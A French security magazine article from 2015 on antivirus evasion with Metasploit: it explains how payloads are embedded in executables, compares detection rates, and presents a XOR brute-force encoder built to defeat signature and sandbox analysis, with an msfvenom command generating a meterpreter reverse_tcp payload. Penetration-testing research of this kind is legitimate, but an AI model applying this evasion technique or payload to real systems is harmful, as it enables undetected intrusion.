Contournement antiviral avec Metasploit : encrypter

Magazine
Marque
MISC
Numéro
81
|
Mois de parution
septembre 2015
|
Domaines


Résumé
Le projet que nous allons vous exposer est parti d’un constat simple : un grand nombre de nos attaques utilisant la suite Metasploit n’arrivait pas à leur terme, en raison des protections mises en place par des solutions de protection de type antivirus, H-IPS, etc. L’objectif de cet article est de proposer une approche générique permettant de contourner rapidement ces protections tout en permettant d’utiliser, inchangés, les nombreux codes d’exploitation ASM/x86 publics ; quel que soit le vecteur d’attaque (fichier, service réseau, etc.).

Body

1. Le Framework Metasploit

Metasploit Framework souvent désigné par son abréviation MSF est un projet open source développé principalement en Ruby. Son but est d’aider à la réalisation de tests liés à la sécurité des SI et au développement rapide de code d’exploitation.

Il est organisé de façon modulaire et possède plusieurs interfaces utilisateurs qu’on ne présente plus : msfconsole, msfcli, msfpayload , msfencode, etc. Les deux dernières seront celles qui nous intéresseront dans cet article. Ces deux interfaces, en l’occurrence msfpayload et msfencode sont désormais rassemblées en une seule nommée msfvenom. La commande msfpayload permet la génération de code malveillant pouvant se présenter sous différents formats (C, Python, JavaScript, etc.) en fonction du contexte dans lequel sera exécutée cette charge. Cette composante d’encodage disponible dans metasploit a pour unique fonction la suppression de caractères tels que la présence d’un octet nul x00 représentant la fin d’une chaîne de caractères et peut poser problème lors de l’exploitation de vulnérabilités. En effet, l’encodeur modifie le code de la charge malveillante. À titre d’exemple, une opération de type XOR peut être appliquée à chaque octet. Cette transformation entraînera la modification de la signature détectée par les antivirus. C’est pour cette raison que les encodeurs sont souvent assimilés, à tort, a des moyens de contourner les solutions antivirales.

1.1 Les templates

Les « templates » sont des fichiers exécutables à l’intérieur desquels Metasploit insère une charge malveillante. Il en existe plusieurs disponibles par défaut pour les systèmes d’exploitation GNU/Linux, Microsoft Windows, Mac OS X et pour d’autres architectures plus exotiques. Ces fichiers sont stockés dans le répertoire metasploit-framework/data/templates/, on y trouve notamment ceux utilisés pour le format PE :

template_x64_windows.exe

template_x64_windows_svc.exe

template_x86_windows.exe

template_x86_windows_old.exe

template_x86_windows_svc.exe

Il est également possible de remplacer ces templates fournis par défaut, bien connus des éditeurs de solutions antivirales, par un exécutable quelconque, correspondant en termes d’architecture et de format (utilisation de l’option -x).

Dans le cadre de cet article, nous nous intéresserons principalement à la sortie d’un exécutable 32 bits au format PE. Prenons le cas d’un système d’exploitation Windows x86, le fichier utilisé sera template_x86_windows.exe. L’image ci-dessous nous montre l’analyse de cet exécutable (sans charge malveillante insérée) par le site internet virustotal.com.

virustotal_figure1

Figure 1 : Analyse de l'exécutable « template_x86_windows.exe » sans charge malveillante.

Comme nous pouvons le constater si l’objectif est de réaliser un exécutable totalement indétectable, notre démarche n’est pas satisfaisante du fait que le template par défaut, dépourvu de charge, est détecté comme malveillant.

1.2 Format de sortie

Metasploit utilise différents formats de sortie. Pour les systèmes Microsoft Windows, nous avons la possibilité de générer la charge soit dans une librairie avec l’option dll, soit liée à un service avec l’option exe-service. Nous nous intéresserons surtout aux exécutables au format PE. En effet, il existe plusieurs options dont la différence réside dans la façon d’insérer et d’exécuter la charge. C’est ainsi que nous disposons des options exe, exe-only et exe-small. Cette dernière étant aisément détectée n’est plus très utile et ne sera donc pas abordée au cours de cet article.

1.2.1 exe

Nous allons commencer par expliquer le fonctionnement de l’option exe. Elle fait appel à la fonction to_win32pe contenue dans le fichier metasploit/lib/msf/util/exe.rb. Dans les premières lignes figure l’appel à la fonction win32_rwx_exec.

# Copy the code to a new RWX segment to allow for self-modifying encoders

payload = win32_rwx_exec(code)

Cette fonction prend comme paramètre la variable code, qui est en réalité une charge seule (ex : windows/x86/meterpreter/reverse_tcp), ou un trampoline associé à une charge, si cette dernière a été encodée. La fonction va concaténer un trampoline à la variable code passée en paramètre. Le résultat de cette action est stocké dans la variable payload présente dans la séquence mentionnée ci-dessus.

Le trampoline, une fois exécuté, va allouer une zone mémoire grâce à la fonction VirtualAllocavec les droits PAGE_EXECUTE_READWRITE. Le fonctionnement du trampoline est volontairement simplifié puisque préalablement à l’appel de la fonction VirtualAlloc il a besoin d’obtenir les adresses des fonctions. À ces fins, il utilise la méthode suffisamment détaillée sur Internet dont on peut prendre connaissance avec la référence [2].

Revenons à la fonction to_win32pe. Elle va chercher une section exécutable suffisamment grande pour contenir la charge. Puis elle va tirer aléatoirement la position où sera placée la variable payload

# Pick a random offset to store the payload

poff = rand(block[1] - payload.length - 256)

Par la suite, elle appelle la fonction generate_nopsqui créer une suite de nops et d’instructions aléatoires placées sur le point d’entrée.

# Pad the entry point with random nops

entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)

À la fin du bloc entry un saut vers la charge est inséré.

# Relative jump from the end of the nops to the payload

entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

La fonction mélange ensuite, de façon aléatoire, 25 % du code original écrit dans la section .text, les blocs entries et payload; modifie le timestamp et recalcule le checksum. Le traitement est résumé dans le schéma ci-dessous :

encodeur_exe_ruby

Figure 2 : Analyse du fonctionnement de l'encodeur pour le format de sortie « exe ».

1.2.2 exe-only

L’option que nous allons détailler maintenant est exe-only qui fait appel à la fonction to_winpe_only. Le code ci-dessous permet de parcourir les sections à la recherche de celle contenant le point d’entrée. Nous vérifions toujours que la taille est suffisante pour écrire la charge. En effet, au lieu de créer un code qui allouera une zone mémoire, nous donnons à la section les droits en écriture et nous modifions, à cet effet, le champ characteristics. La charge sera, alors, directement exécutée dans la section exécutable du binaire.

# look for section with entry point

sections_header.each do |sec|

virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]

sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]

characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]


if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)

importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]

if (importsTable - addressOfEntryPoint) < code.length

#shift original entry point to prevent tables overwritting

addressOfEntryPoint = importsTable - code.length + 4


entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset

exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')

end

# put this section writable

characteristics |= 0x8000_0000

newcharacteristics = [characteristics].pack('V')

exe[sec[0],newcharacteristics.length] = newcharacteristics

end

end

Enfin, la charge sera directement placée au niveau du point d’entrée de notre fichier exécutable.

# put the shellcode at the entry point, overwriting template

entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)

exe[entryPoint_file_offset,code.length] = code

exe = clear_dynamic_base(exe, pe)

exe

1.3 Encoder

L’outil msfencode, souvent utilisé conjointement avec msfpayload, permet d’encoder la charge en fonction du format cible et de l’encodeur retenu. Pour que le code d’exploitation fonctionne correctement, une des actions devant, par exemple, être souvent réalisée, consiste en la suppression des mauvais caractères. msfencode fait appel aux fonctions du script lib/msf/core/encoder.rb. Ce dernier contient notamment deux classes : EncoderState et Encoder.

- EncoderState sert à suivre l’état d’avancement de l’encodage. Il stocke des attributs tels que buf, correspondant au buffer initial, qui contient la charge non modifiée et encoded, correspondant au buffer final, qui contient la charge encodée (et/ou) chiffrée, et bien d’autres attributs.

- Encoder qui génère à l’aide de la fonction encodeune version encodée du buffer passé en argument. Tous les encodeurs héritent de cette deuxième classe.

L’image ci-dessous illustre cette fonction :

fonction_encode_ruby

Figure 3 : Code de la fonction ruby encode().

La séquence qui va nous intéresser se situe à partir de la ligne 268. Nous constatons qu’elle fait appel à trois fonctions : encode_begin et encode_end, toutes deux redéfinies dans l’encodeur sélectionné, et do_encode.

- encode_begin réalise des tâches préalables à l’encodage ;

- encode_endvaréaliser les actions postérieures à l’encodage ;

- do_encodeva permettre les actions de génération du trampoline et d’encodage de la chargecomme le montre l’exemple ci-après :

fonction_do_encode_ruby

Figure 4 : Code de la fonction ruby do_encode().

En ligne 286, la fonctiondecoder_stubest appelée. C’est à cet emplacement que sera généré le trampoline. Il est à noter que la séquence assembleur permet le décodage/déchiffrement de la charge en mémoire vive et son exécution. L’action exécutée ensuite est confiée à la fonction encode_block qui réalise l’encodage du buffer.Ces deux fonctions dépendent de l’encodeur. Une fois leurs actions réalisées, le trampoline et la charge sont concaténés (ligne 325).

2. Détection sans charge malveillante

Dans le tableau ci-dessous, nous avons voulu observer quelle composante les solutions antivirales détectent en excluant une charge malveillante :

Template

Format de sortie

Encoder

VirusTotal


template_x86_windows.exe (Metasploit)


exe-only

Aucun

18 / 54

exe

Aucun

29 / 54

exe-only

shikata_ga_nai

16 / 54

exe

shikata_ga_nai

35 / 54


PDFJPG.exe (http://www.pdfjpg.com)

exe-only

Aucun

0 / 54

exe

Aucun

19 / 54

exe-only

shikata_ga_nai

2 / 54

exe

shikata_ga_nai

25 / 54

Nous voyons clairement que le template Metasploit lève davantage d’alertes qu’un binaire quelconque. Nous pouvons également constater que le format de sortie exe est plus détecté que exe-only. Cela peut s’expliquer, en partie, par la technique utilisée pour l’exécution de la charge malveillante qui dans le cas de exe est faite par une allocation mémoire grâce à VirtualAlloc avec les droits PAGE_EXECUTE_READWRITE. Afin qu’un exécutable Windows ait le moins de chance d’être détecté par les solutions antivirales la première règle à respecter consiste à ne jamais utiliser les templates fournis par Metasploit, et la deuxième consiste à préférer exe-only pour le format de sortie.

3. Encrypter

3.1 Objectifs

L’outil que nous allons vous présenter maintenant n’est pas un encodeur, mais s’apparente plutôt à un outil de chiffrement, son objectif principal étant de rendre les charges malveillantes indétectables en les chiffrant. Notre outil de chiffrement doit contourner les protections antivirales, ce qui revient à prendre en compte la recherche par signature et la recherche par comportement. Afin de faciliter son utilisation, il est intégré comme encodeur au sein du framework Metasploit.

Notre implémentation utilise « l'algorithme XOR », parce que suffisant pour atteindre notre objectif.

3.2 Fonctionnement

Une idée simple permettant de contourner l’analyse par signature consiste à chiffrer la charge malveillante connue qui sera stockée dans un exécutable, dans un échange réseau, etc.

L’analyse comportementale est réalisée dans un bac à sable ou sandbox permettant d’exécuter, en limitant les risques, un code inconnu dans un environnement restreint. L’utilisateur ne souhaitant pas attendre indéfiniment, cette analyse doit être limitée dans le temps ou via un nombre de cycles de calcul. Si aucun comportement considéré comme malveillant n’a été identifié, la charge sera alors effectivement lancée sur le système d’exploitation. Réaliser un grand nombre de calculs, coûteux en temps, nécessaires pour retrouver le code malveillant en clair, nous permettra donc de contourner simplement l’analyse comportementale.

La solution retenue consiste à retrouver la clé de chiffrement par une attaque de type « force brute ». Notre stub contient un « clair connu », correspondant aux dix premiers octets de la charge non chiffrée. Ainsi pour retrouver la clé de chiffrement, il suffit d’effectuer une attaque par force brute sur les dix premiers octets de la charge chiffrée jusqu’à retomber sur le clair connu et ainsi retrouver la clé de chiffrement.

La durée de ce traitement étant supérieure à celle accordée à l’analyse effectuée en sandbox, cette dernière est contournée. Le temps nécessaire à cette opération dépend, en grande partie, de la puissance de la machine cible, des ressources CPU disponibles et de la grandeur de la clé. Dans notre implémentation, celle-ci est stockée dans un registre de 32 bits impliquant, de ce fait, 232 possibilités.

3.3 Utilisation

Le code source de l’outil se trouve à l’adresse suivante https://github.com/Sogeti-Pentest/Encrypter-Metasploit. Son installation est simple. Il suffit de copier le script ruby dans le répertoire metasploit/modules/encoders/x86/. Son utilisation est similaire à celle de tous les autres encodeurs de Metasploit.

Avec msfvenom :

msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=2222 -f raw -x filename.exe -f exe-only -e x86/bf_xor -o msf.exe


Avec msfconsole :

msf exploit(handler) > set ENCODER x86/bf_xor

ENCODER => x86/bf_xor

msf exploit(handler) > exploit

3.4 Résultats

Les tests effectués à la fin du projet sur le site virustotal.com nous ont montré qu’aucun antivirus, sur un total de 57 sélectionnés, n’a détecté la charge malveillante.

virustotal_figure2

Figure 5 : Résultat sur virustotal pour un binaire contenant une charge de type meterpreter/reverse_tcp encodée.

Nous avons également réalisé des tests dans une machine virtuelle avec les antivirus Kaspersky internet security 2014, Avast, Symantec, et bien d’autres lors de nos missions de tests d’intrusion. Aucun d’entre eux n’a détecté la charge, ni même émis une alerte. Cependant, certaines sandbox gardent l’exécutable plus longtemps que d’autres, il est donc nécessaire d’utiliser une clé assez grande ou de faire appel à l’option -c de msfencode permettant d’encoder plusieurs fois.

3.5 Points d’amélioration

Le développement d’un trampoline polymorphique, la gestion de clé de taille supérieure à 32 bits, la taille aléatoire du clair connu, une compatibilité avec l’architecture x64 sont des points d’amélioration laissés aux lecteurs en guise d’exercices ;-)

Remerciements

Merci aux équipes de SOGETI ESEC pentest & lab pour leurs relectures. Greetz à la fapsec family et au staff Root Me, thx pour les tests ;-p

Références

http://schierlm.users.sourceforge.net/avevasion.html

http://blog.harmonysecurity.com/2009_08_01_archive.html

https://www.scriptjunkie.us/2011/04/why-encoding-does-not-matter-and-how-metasploit-generates-exes/

https://github.com/rapid7/metasploit-framework


Sur le même sujet

Introduction à Zero Trust 

Magazine
Marque
MISC
Numéro
110
|
Mois de parution
juillet 2020
|
Domaines
Résumé

La sécurité informatique adore les modes. Le « Zero Trust » fait partie de ces concepts qui sont devenus populaires du jour au lendemain. Et comme le sexe chez les adolescents, « tout le monde en parle, personne ne sait réellement comment le faire, tout le monde pense que tous les autres le font, alors tout le monde prétend le faire* ».

Pré-authentification Kerberos : de la découverte à l’exploitation offensive

Magazine
Marque
MISC
Numéro
110
|
Mois de parution
juillet 2020
|
Domaines
Résumé

Les opérations relatives à l’authentification Kerberos ne sont pas toujours remontées dans les journaux des contrôleurs de domaine, ce qui fait de ce protocole une arme de choix pour mener des attaques furtives en environnement Active Directory. Le mécanisme de pré-authentification de ce protocole offre par exemple des possibilités intéressantes pour attaquer les comptes d’un domaine.

Les enjeux de sécurité autour d’Ethernet

Magazine
Marque
MISC
HS n°
Numéro
21
|
Mois de parution
juillet 2020
|
Domaines
Résumé

Quand nous parlons attaque, cela nous évoque souvent exploit, faille logicielle, ou même déni de service distribué. Nous allons revenir à des fondamentaux réseaux assez bas niveau, juste après le monde physique, pour se rendre compte qu’il existe bel et bien des vulnérabilités facilement exploitables par un attaquant. Nous verrons également qu’il existe des solutions pour s’en protéger.

Implémentation d’une architecture processeur non supportée sur IDA PRO et Ghidra

Magazine
Marque
MISC
HS n°
Numéro
21
|
Mois de parution
juillet 2020
|
Domaines
Résumé

Malgré le nombre d’outils aidant au désassemblage voire à la décompilation de programmes, il arrive parfois que les mécanismes ou les processeurs étudiés ne soient pas nativement supportés. Pour cette raison, certains outils proposent des API permettant d’implémenter une nouvelle architecture. Cet article détaillera les grandes étapes de ce travail pour deux outils majoritairement utilisés, à savoir IDA PRO et Ghidra.

Contrôles de suivi de la conformité RGPD et d’atteinte d’objectifs définis dans la politique de protection de la vie privée

Magazine
Marque
MISC
Numéro
110
|
Mois de parution
juillet 2020
|
Domaines
Résumé

Afin de mettre en application les exigences de contrôle de conformité (article 24 du RGPD), les directions générales, qu’elles aient désigné ou non un Délégué à Protection des Données (DPD), doivent mettre en œuvre des contrôles concernant les répartitions de responsabilités entre les acteurs impliqués par le traitement et l’application de règles opposables, l’effectivité des droits des personnes concernées, la sécurité des traitements et la mise à disposition des éléments de preuve pour démontrer la conformité des traitements de données à caractère personnel.

Par le même auteur

Contournement antiviral avec Metasploit : encrypter

Magazine
Marque
MISC
Numéro
81
|
Mois de parution
septembre 2015
|
Domaines
Résumé
Le projet que nous allons vous exposer est parti d’un constat simple : un grand nombre de nos attaques utilisant la suite Metasploit n’arrivait pas à leur terme, en raison des protections mises en place par des solutions de protection de type antivirus, H-IPS, etc. L’objectif de cet article est de proposer une approche générique permettant de contourner rapidement ces protections tout en permettant d’utiliser, inchangés, les nombreux codes d’exploitation ASM/x86 publics ; quel que soit le vecteur d’attaque (fichier, service réseau, etc.).